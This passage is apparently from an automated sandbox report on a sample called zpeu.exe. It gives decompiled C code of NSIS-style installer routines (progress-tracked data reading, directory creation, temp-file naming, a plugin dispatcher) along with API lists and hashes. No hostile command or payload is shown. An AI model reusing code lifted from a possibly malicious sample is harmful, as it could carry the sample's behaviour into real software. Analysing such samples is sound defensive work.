                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: DirectoryLibraryLoadSystemwsprintf
                                      • String ID: %s%S.dll$UXTHEME$\
                                      • API String ID: 2200240437-1946221925
                                      • Opcode ID: fcd04411c5a1f64f7e9219edfc5ac0d332aa1f587fd7b062781a7321f30925af
                                      • Instruction ID: f2f916ca2f11fba704df1b43a3ace0cea71321b702594bff0db05fa861777559
                                      • Opcode Fuzzy Hash: fcd04411c5a1f64f7e9219edfc5ac0d332aa1f587fd7b062781a7321f30925af
                                      • Instruction Fuzzy Hash: F9F0F670500219BBCF24AB68ED0DF9B3B6CAB00704F50447AA646F10D1EB78DA24CBA8
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 696 4030fa-403111 697 403113 696->697 698 40311a-403122 696->698 697->698 699 403124 698->699 700 403129-40312e 698->700 699->700 701 403130-403139 call 4032f5 700->701 702 40313e-40314b call 4032df 700->702 701->702 706 403151-403155 702->706 707 403296 702->707 708 40315b-40317b GetTickCount call 406787 706->708 709 40327f-403281 706->709 710 403298-403299 707->710 720 4032d5 708->720 722 403181-403189 708->722 711 403283-403286 709->711 712 4032ca-4032ce 709->712 714 4032d8-4032dc 710->714 715 403288 711->715 716 40328b-403294 call 4032df 711->716 717 4032d0 712->717 718 40329b-4032a1 712->718 715->716 716->707 730 4032d2 716->730 717->720 723 4032a3 718->723 724 4032a6-4032b4 call 4032df 718->724 720->714 727 40318b 722->727 728 40318e-40319c call 4032df 722->728 723->724 724->707 732 4032b6-4032c2 call 405df0 724->732 727->728 728->707 735 4031a2-4031ab 728->735 730->720 739 4032c4-4032c7 732->739 740 40327b-40327d 732->740 736 4031b1-4031ce call 4067a7 735->736 742 4031d4-4031eb GetTickCount 736->742 743 403277-403279 736->743 739->712 740->710 744 403236-403238 742->744 745 4031ed-4031f5 742->745 743->710 748 40323a-40323e 744->748 749 40326b-40326f 744->749 746 4031f7-4031fb 745->746 747 4031fd-40322e MulDiv wsprintfW call 4052b0 745->747 746->744 746->747 755 403233 747->755 752 403240-403245 call 405df0 748->752 753 403253-403259 748->753 749->722 750 403275 749->750 750->720 758 40324a-40324c 752->758 754 40325f-403263 753->754 754->736 757 403269 754->757 755->744 757->720 758->740 759 40324e-403251 758->759 759->754
                                      C-Code - Quality: 94%
                                      			E004030FA(int _a4, intOrPtr _a8, intOrPtr _a12, int _a16, signed char _a19) {
                                      				signed int _v8;
                                      				int _v12;
                                      				long _v16;
                                      				intOrPtr _v20;
                                      				short _v148;
                                      				void* _t59;
                                      				intOrPtr _t69;
                                      				long _t70;
                                      				void* _t71;
                                      				intOrPtr _t81;
                                      				intOrPtr _t86;
                                      				long _t89;
                                      				signed int _t90;
                                      				int _t91;
                                      				int _t92;
                                      				intOrPtr _t93;
                                      				void* _t94;
                                      				void* _t95;
                                      
                                      				_t90 = _a16;
                                      				_t86 = _a12;
                                      				_v12 = _t90;
                                      				if(_t86 == 0) {
                                      					_v12 = 0x8000;
                                      				}
                                      				_v8 = _v8 & 0x00000000;
                                      				_t81 = _t86;
                                      				if(_t86 == 0) {
                                      					_t81 = 0x410ea0;
                                      				}
                                      				_t56 = _a4;
                                      				if(_a4 >= 0) {
                                      					E004032F5( *0x42a278 + _t56);
                                      				}
                                      				if(E004032DF( &_a16, 4) == 0) {
                                      					L33:
                                      					_push(0xfffffffd);
                                      					goto L34;
                                      				} else {
                                      					if((_a19 & 0x00000080) == 0) {
                                      						if(_t86 == 0) {
                                      							while(_a16 > 0) {
                                      								_t91 = _v12;
                                      								if(_a16 < _t91) {
                                      									_t91 = _a16;
                                      								}
                                      								if(E004032DF(0x40cea0, _t91) == 0) {
                                      									goto L33;
                                      								} else {
                                      									if(E00405DF0(_a8, 0x40cea0, _t91) == 0) {
                                      										L28:
                                      										_push(0xfffffffe);
                                      										L34:
                                      										_pop(_t59);
                                      										return _t59;
                                      									}
                                      									_v8 = _v8 + _t91;
                                      									_a16 = _a16 - _t91;
                                      									continue;
                                      								}
                                      							}
                                      							L43:
                                      							return _v8;
                                      						}
                                      						if(_a16 < _t90) {
                                      							_t90 = _a16;
                                      						}
                                      						if(E004032DF(_t86, _t90) != 0) {
                                      							_v8 = _t90;
                                      							goto L43;
                                      						} else {
                                      							goto L33;
                                      						}
                                      					}
                                      					_v16 = GetTickCount();
                                      					E00406787(0x40ce10);
                                      					_t13 =  &_a16;
                                      					 *_t13 = _a16 & 0x7fffffff;
                                      					_a4 = _a16;
                                      					if( *_t13 <= 0) {
                                      						goto L43;
                                      					} else {
                                      						goto L9;
                                      					}
                                      					while(1) {
                                      						L9:
                                      						_t92 = 0x4000;
                                      						if(_a16 < 0x4000) {
                                      							_t92 = _a16;
                                      						}
                                      						if(E004032DF(0x40cea0, _t92) == 0) {
                                      							goto L33;
                                      						}
                                      						_a16 = _a16 - _t92;
                                      						 *0x40ce28 = 0x40cea0;
                                      						 *0x40ce2c = _t92;
                                      						while(1) {
                                      							 *0x40ce30 = _t81;
                                      							 *0x40ce34 = _v12; // executed
                                      							_t69 = E004067A7(0x40ce10); // executed
                                      							_v20 = _t69;
                                      							if(_t69 < 0) {
                                      								break;
                                      							}
                                      							_t93 =  *0x40ce30; // 0x410ea0
                                      							_t94 = _t93 - _t81;
                                      							_t70 = GetTickCount();
                                      							_t89 = _t70;
                                      							if(( *0x42a2d4 & 0x00000001) != 0 && (_t70 - _v16 > 0xc8 || _a16 == 0)) {
                                      								wsprintfW( &_v148, L"... %d%%", MulDiv(_a4 - _a16, 0x64, _a4));
                                      								_t95 = _t95 + 0xc;
                                      								E004052B0(0,  &_v148); // executed
                                      								_v16 = _t89;
                                      							}
                                      							if(_t94 == 0) {
                                      								if(_a16 > 0) {
                                      									goto L9;
                                      								}
                                      								goto L43;
                                      							} else {
                                      								if(_a12 != 0) {
                                      									_v8 = _v8 + _t94;
                                      									_v12 = _v12 - _t94;
                                      									_t81 =  *0x40ce30; // 0x410ea0
                                      									L23:
                                      									if(_v20 != 1) {
                                      										continue;
                                      									}
                                      									goto L43;
                                      								}
                                      								_t71 = E00405DF0(_a8, _t81, _t94); // executed
                                      								if(_t71 == 0) {
                                      									goto L28;
                                      								}
                                      								_v8 = _v8 + _t94;
                                      								goto L23;
                                      							}
                                      						}
                                      						_push(0xfffffffc);
                                      						goto L34;
                                      					}
                                      					goto L33;
                                      				}
                                      			}





















                                      0x00403105
                                      0x00403109
                                      0x0040310c
                                      0x00403111
                                      0x00403113
                                      0x00403113
                                      0x0040311a
                                      0x0040311e
                                      0x00403122
                                      0x00403124
                                      0x00403124
                                      0x00403129
                                      0x0040312e
                                      0x00403139
                                      0x00403139
                                      0x0040314b
                                      0x00403296
                                      0x00403296
                                      0x00000000
                                      0x00403151
                                      0x00403155
                                      0x00403281
                                      0x004032ca
                                      0x0040329b
                                      0x004032a1
                                      0x004032a3
                                      0x004032a3
                                      0x004032b4
                                      0x00000000
                                      0x004032b6
                                      0x004032c2
                                      0x0040327b
                                      0x0040327b
                                      0x00403298
                                      0x00403298
                                      0x00000000
                                      0x00403298
                                      0x004032c4
                                      0x004032c7
                                      0x00000000
                                      0x004032c7
                                      0x004032b4
                                      0x004032d5
                                      0x00000000
                                      0x004032d5
                                      0x00403286
                                      0x00403288
                                      0x00403288
                                      0x00403294
                                      0x004032d2
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00403294
                                      0x00403166
                                      0x00403169
                                      0x0040316e
                                      0x0040316e
                                      0x00403178
                                      0x0040317b
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00403181
                                      0x00403181
                                      0x00403181
                                      0x00403189
                                      0x0040318b
                                      0x0040318b
                                      0x0040319c
                                      0x00000000
                                      0x00000000
                                      0x004031a2
                                      0x004031a5
                                      0x004031ab
                                      0x004031b1
                                      0x004031b9
                                      0x004031bf
                                      0x004031c4
                                      0x004031cb
                                      0x004031ce
                                      0x00000000
                                      0x00000000
                                      0x004031d4
                                      0x004031da
                                      0x004031dc
                                      0x004031e9
                                      0x004031eb
                                      0x0040321c
                                      0x00403222
                                      0x0040322e
                                      0x00403233
                                      0x00403233
                                      0x00403238
                                      0x0040326f
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x0040323a
                                      0x0040323e
                                      0x00403253
                                      0x00403256
                                      0x00403259
                                      0x0040325f
                                      0x00403263
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00403269
                                      0x00403245
                                      0x0040324c
                                      0x00000000
                                      0x00000000
                                      0x0040324e
                                      0x00000000
                                      0x0040324e
                                      0x00403238
                                      0x00403277
                                      0x00000000
                                      0x00403277
                                      0x00000000
                                      0x00403181

                                      APIs
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: CountTick$wsprintf
                                      • String ID: ... %d%%
                                      • API String ID: 551687249-2449383134
                                      • Opcode ID: ec08b81ccf01a23b3f2095c025c940c6288906fc183749b0f6cb8fc1ea750618
                                      • Instruction ID: 2f3e22fda6cf622f8bf4b8160786ddb998526db62ce5623fe0a3028d3f0862ac
                                      • Opcode Fuzzy Hash: ec08b81ccf01a23b3f2095c025c940c6288906fc183749b0f6cb8fc1ea750618
                                      • Instruction Fuzzy Hash: A3517171900219EBCB10DF65DA48B9F3B68AF45366F1441BFF805B72C0D7789E508BA9
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 760 40577f-4057ca CreateDirectoryW 761 4057d0-4057dd GetLastError 760->761 762 4057cc-4057ce 760->762 763 4057f7-4057f9 761->763 764 4057df-4057f3 SetFileSecurityW 761->764 762->763 764->762 765 4057f5 GetLastError 764->765 765->763
                                      C-Code - Quality: 100%
                                      			E0040577F(WCHAR* _a4) {
                                      				struct _SECURITY_ATTRIBUTES _v16;
                                      				struct _SECURITY_DESCRIPTOR _v36;
                                      				int _t22;
                                      				long _t23;
                                      
                                      				_v36.Sbz1 = _v36.Sbz1 & 0x00000000;
                                      				_v36.Owner = 0x4083f0;
                                      				_v36.Group = 0x4083f0;
                                      				_v36.Sacl = _v36.Sacl & 0x00000000;
                                      				_v16.bInheritHandle = _v16.bInheritHandle & 0x00000000;
                                      				_v16.lpSecurityDescriptor =  &_v36;
                                      				_v36.Revision = 1;
                                      				_v36.Control = 4;
                                      				_v36.Dacl = 0x4083e0;
                                      				_v16.nLength = 0xc;
                                      				_t22 = CreateDirectoryW(_a4,  &_v16); // executed
                                      				if(_t22 != 0) {
                                      					L1:
                                      					return 0;
                                      				}
                                      				_t23 = GetLastError();
                                      				if(_t23 == 0xb7) {
                                      					if(SetFileSecurityW(_a4, 0x80000007,  &_v36) != 0) {
                                      						goto L1;
                                      					}
                                      					return GetLastError();
                                      				}
                                      				return _t23;
                                      			}







                                      0x0040578a
                                      0x0040578e
                                      0x00405791
                                      0x00405797
                                      0x0040579b
                                      0x0040579f
                                      0x004057a7
                                      0x004057ae
                                      0x004057b4
                                      0x004057bb
                                      0x004057c2
                                      0x004057ca
                                      0x004057cc
                                      0x00000000
                                      0x004057cc
                                      0x004057d6
                                      0x004057dd
                                      0x004057f3
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x004057f5
                                      0x004057f9

                                      APIs
                                      • CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 004057C2
                                      • GetLastError.KERNEL32 ref: 004057D6
                                      • SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 004057EB
                                      • GetLastError.KERNEL32 ref: 004057F5
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: ErrorLast$CreateDirectoryFileSecurity
                                      • String ID: C:\Users\user\Desktop
                                      • API String ID: 3449924974-3370423016
                                      • Opcode ID: c7775b55854fc79259119bfc4daa9494171cd7cf58f96f816c013ac7f64a11dc
                                      • Instruction ID: a96db4d766433405fa600e453148f039d13b259e3fca1cfbe784ddd29ae139cf
                                      • Opcode Fuzzy Hash: c7775b55854fc79259119bfc4daa9494171cd7cf58f96f816c013ac7f64a11dc
                                      • Instruction Fuzzy Hash: 52010871C10619DADF01DFA4CD44BEFBBB8EB14355F00407AD545B6281E7789608DFA9
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 766 405d6d-405d79 767 405d7a-405dae GetTickCount GetTempFileNameW 766->767 768 405db0-405db2 767->768 769 405dbd-405dbf 767->769 768->767 770 405db4 768->770 771 405db7-405dba 769->771 770->771
                                      C-Code - Quality: 100%
                                      			E00405D6D(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
                                      				intOrPtr _v8;
                                      				short _v12;
                                      				short _t12;
                                      				intOrPtr _t13;
                                      				signed int _t14;
                                      				WCHAR* _t17;
                                      				signed int _t19;
                                      				signed short _t23;
                                      				WCHAR* _t26;
                                      
                                      				_t26 = _a4;
                                      				_t23 = 0x64;
                                      				while(1) {
                                      					_t12 =  *L"nsa"; // 0x73006e
                                      					_t23 = _t23 - 1;
                                      					_v12 = _t12;
                                      					_t13 =  *0x40a55c; // 0x61
                                      					_v8 = _t13;
                                      					_t14 = GetTickCount();
                                      					_t19 = 0x1a;
                                      					_v8 = _v8 + _t14 % _t19;
                                      					_t17 = GetTempFileNameW(_a8,  &_v12, 0, _t26); // executed
                                      					if(_t17 != 0) {
                                      						break;
                                      					}
                                      					if(_t23 != 0) {
                                      						continue;
                                      					} else {
                                      						 *_t26 =  *_t26 & _t23;
                                      					}
                                      					L4:
                                      					return _t17;
                                      				}
                                      				_t17 = _t26;
                                      				goto L4;
                                      			}












                                      0x00405d73
                                      0x00405d79
                                      0x00405d7a
                                      0x00405d7a
                                      0x00405d7f
                                      0x00405d80
                                      0x00405d83
                                      0x00405d88
                                      0x00405d8b
                                      0x00405d95
                                      0x00405da2
                                      0x00405da6
                                      0x00405dae
                                      0x00000000
                                      0x00000000
                                      0x00405db2
                                      0x00000000
                                      0x00405db4
                                      0x00405db4
                                      0x00405db4
                                      0x00405db7
                                      0x00405dba
                                      0x00405dba
                                      0x00405dbd
                                      0x00000000

                                      APIs
                                      • GetTickCount.KERNEL32 ref: 00405D8B
                                      • GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,"C:\Users\user\Desktop\zpeu.exe",0040333B,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,77033420,00403589), ref: 00405DA6
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: CountFileNameTempTick
                                      • String ID: "C:\Users\user\Desktop\zpeu.exe"$C:\Users\user\AppData\Local\Temp\$nsa
                                      • API String ID: 1716503409-3219388545
                                      • Opcode ID: 579317ece081e1c49d3b274132234632dc0f80c8b4471fc5797a0d742f25062f
                                      • Instruction ID: 85bdb6a116c51bdc328f0f27a7d8b9c38e3c9c6247ffb38d9ffcafb3e867c1bf
                                      • Opcode Fuzzy Hash: 579317ece081e1c49d3b274132234632dc0f80c8b4471fc5797a0d742f25062f
                                      • Instruction Fuzzy Hash: D2F03076601704FBEB009F69ED09F9FB7ADEF95710F10803BE901E7250E6B0A9548B64
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 772 10001759-10001795 call 10001b18 776 100018a6-100018a8 772->776 777 1000179b-1000179f 772->777 778 100017a1-100017a7 call 10002286 777->778 779 100017a8-100017b5 call 100022d0 777->779 778->779 784 100017e5-100017ec 779->784 785 100017b7-100017bc 779->785 786 1000180c-10001810 784->786 787 100017ee-1000180a call 100024a4 call 100015b4 call 10001272 GlobalFree 784->787 788 100017d7-100017da 785->788 789 100017be-100017bf 785->789 793 10001812-1000184c call 100015b4 call 100024a4 786->793 794 1000184e-10001854 call 100024a4 786->794 809 10001855-10001859 787->809 788->784 795 100017dc-100017dd call 10002b57 788->795 791 100017c1-100017c2 789->791 792 100017c7-100017c8 call 1000289c 789->792 797 100017c4-100017c5 791->797 798 100017cf-100017d5 call 10002640 791->798 804 100017cd 792->804 793->809 794->809 807 100017e2 795->807 797->784 797->792 813 100017e4 798->813 804->807 807->813 814 10001896-1000189d 809->814 815 1000185b-10001869 call 10002467 809->815 813->784 814->776 820 1000189f-100018a0 GlobalFree 814->820 822 10001881-10001888 815->822 823 1000186b-1000186e 815->823 820->776 822->814 825 1000188a-10001895 call 1000153d 822->825 823->822 824 10001870-10001878 823->824 824->822 826 1000187a-1000187b FreeLibrary 824->826 825->814 826->822
                                      C-Code - Quality: 92%
                                      			E10001759(void* __edx, void* __edi, void* __esi, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
                                      				void _v36;
                                      				struct HINSTANCE__* _t34;
                                      				intOrPtr _t38;
                                      				void* _t44;
                                      				void* _t45;
                                      				void* _t46;
                                      				void* _t50;
                                      				intOrPtr _t53;
                                      				signed int _t57;
                                      				signed int _t61;
                                      				void* _t65;
                                      				void* _t66;
                                      				void* _t70;
                                      				void* _t74;
                                      
                                      				_t74 = __esi;
                                      				_t66 = __edi;
                                      				_t65 = __edx;
                                      				 *0x1000406c = _a8;
                                      				 *0x10004070 = _a16;
                                      				 *0x10004074 = _a12;
                                      				 *((intOrPtr*)(_a20 + 0xc))( *0x10004048, E100015B1);
                                      				_push(1);
                                      				_t34 = E10001B18();
                                      				_t50 = _t34;
                                      				if(_t50 == 0) {
                                      					L28:
                                      					return _t34;
                                      				} else {
                                      					if( *((intOrPtr*)(_t50 + 4)) != 1) {
                                      						E10002286(_t50);
                                      					}
                                      					_push(_t50);
                                      					E100022D0(_t65);
                                      					_t53 =  *((intOrPtr*)(_t50 + 4));
                                      					if(_t53 == 0xffffffff) {
                                      						L14:
                                      						if(( *(_t50 + 0x1010) & 0x00000004) == 0) {
                                      							if( *((intOrPtr*)(_t50 + 4)) == 0) {
                                      								_t34 = E100024A4(_t50);
                                      							} else {
                                      								_push(_t74);
                                      								_push(_t66);
                                      								_t12 = _t50 + 0x1018; // 0x1018
                                      								_t57 = 8;
                                      								memcpy( &_v36, _t12, _t57 << 2);
                                      								_t38 = E100015B4(_t50);
                                      								_t15 = _t50 + 0x1018; // 0x1018
                                      								_t70 = _t15;
                                      								 *((intOrPtr*)(_t50 + 0x1020)) = _t38;
                                      								 *_t70 = 4;
                                      								E100024A4(_t50);
                                      								_t61 = 8;
                                      								_t34 = memcpy(_t70,  &_v36, _t61 << 2);
                                      							}
                                      						} else {
                                      							E100024A4(_t50);
                                      							_t34 = GlobalFree(E10001272(E100015B4(_t50)));
                                      						}
                                      						if( *((intOrPtr*)(_t50 + 4)) != 1) {
                                      							_t34 = E10002467(_t50);
                                      							if(( *(_t50 + 0x1010) & 0x00000040) != 0 &&  *_t50 == 1) {
                                      								_t34 =  *(_t50 + 0x1008);
                                      								if(_t34 != 0) {
                                      									_t34 = FreeLibrary(_t34);
                                      								}
                                      							}
                                      							if(( *(_t50 + 0x1010) & 0x00000020) != 0) {
                                      								_t34 = E1000153D( *0x10004068);
                                      							}
                                      						}
                                      						if(( *(_t50 + 0x1010) & 0x00000002) != 0) {
                                      							goto L28;
                                      						} else {
                                      							return GlobalFree(_t50);
                                      						}
                                      					}
                                      					_t44 =  *_t50;
                                      					if(_t44 == 0) {
                                      						if(_t53 != 1) {
                                      							goto L14;
                                      						}
                                      						E10002B57(_t50);
                                      						L12:
                                      						_t50 = _t44;
                                      						L13:
                                      						goto L14;
                                      					}
                                      					_t45 = _t44 - 1;
                                      					if(_t45 == 0) {
                                      						L8:
                                      						_t44 = E1000289C(_t53, _t50); // executed
                                      						goto L12;
                                      					}
                                      					_t46 = _t45 - 1;
                                      					if(_t46 == 0) {
                                      						E10002640(_t50);
                                      						goto L13;
                                      					}
                                      					if(_t46 != 1) {
                                      						goto L14;
                                      					}
                                      					goto L8;
                                      				}
                                      			}

















                                      0x10001759
                                      0x10001759
                                      0x10001759
                                      0x10001763
                                      0x1000176b
                                      0x10001778
                                      0x10001786
                                      0x10001789
                                      0x1000178b
                                      0x10001790
                                      0x10001795
                                      0x100018a8
                                      0x100018a8
                                      0x1000179b
                                      0x1000179f
                                      0x100017a2
                                      0x100017a7
                                      0x100017a8
                                      0x100017a9
                                      0x100017af
                                      0x100017b5
                                      0x100017e5
                                      0x100017ec
                                      0x10001810
                                      0x1000184f
                                      0x10001812
                                      0x10001812
                                      0x10001813
                                      0x10001816
                                      0x1000181c
                                      0x10001820
                                      0x10001823
                                      0x10001828
                                      0x10001828
                                      0x1000182f
                                      0x10001835
                                      0x1000183b
                                      0x10001847
                                      0x10001848
                                      0x1000184b
                                      0x100017ee
                                      0x100017ef
                                      0x10001804
                                      0x10001804
                                      0x10001859
                                      0x1000185c
                                      0x10001869
                                      0x10001870
                                      0x10001878
                                      0x1000187b
                                      0x1000187b
                                      0x10001878
                                      0x10001888
                                      0x10001890
                                      0x10001895
                                      0x10001888
                                      0x1000189d
                                      0x00000000
                                      0x1000189f
                                      0x00000000
                                      0x100018a0
                                      0x1000189d
                                      0x100017b9
                                      0x100017bc
                                      0x100017da
                                      0x00000000
                                      0x00000000
                                      0x100017dd
                                      0x100017e2
                                      0x100017e2
                                      0x100017e4
                                      0x00000000
                                      0x100017e4
                                      0x100017be
                                      0x100017bf
                                      0x100017c7
                                      0x100017c8
                                      0x00000000
                                      0x100017c8
                                      0x100017c1
                                      0x100017c2
                                      0x100017d0
                                      0x00000000
                                      0x100017d0
                                      0x100017c5
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x100017c5

                                      APIs
                                        • Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D83
                                        • Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D88
                                        • Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D8D
                                      • GlobalFree.KERNEL32(00000000), ref: 10001804
                                      • FreeLibrary.KERNEL32(?), ref: 1000187B
                                      • GlobalFree.KERNEL32(00000000), ref: 100018A0
                                        • Part of subcall function 10002286: GlobalAlloc.KERNEL32(00000040,8BC3C95B), ref: 100022B8
                                        • Part of subcall function 10002640: GlobalAlloc.KERNEL32(00000040,?,?,?,00000000,?,?,?,?,100017D5,00000000), ref: 100026B2
                                        • Part of subcall function 100015B4: lstrcpyW.KERNEL32(00000000,10004020), ref: 100015CD
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56287645095.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000002.00000002.56287621187.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
                                      • Associated: 00000002.00000002.56287670249.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
                                      • Associated: 00000002.00000002.56287691268.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_10000000_zpeu.jbxd
                                      Similarity
                                      • API ID: Global$Free$Alloc$Librarylstrcpy
                                      • String ID:
                                      • API String ID: 1791698881-3916222277
                                      • Opcode ID: 0483f3173a4470b9256ae29dd6c5e6dea881cc340ce9ef3905353ea367717f55
                                      • Instruction ID: 65685ba44f5e0dd4e22f20931bb662b0f8110762eb821eef9687284fed8b6370
                                      • Opcode Fuzzy Hash: 0483f3173a4470b9256ae29dd6c5e6dea881cc340ce9ef3905353ea367717f55
                                      • Instruction Fuzzy Hash: 4A31AC75804241AAFB14DF649CC9BDA37E8FF043D4F158065FA0AAA08FDFB4A984C761
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 83%
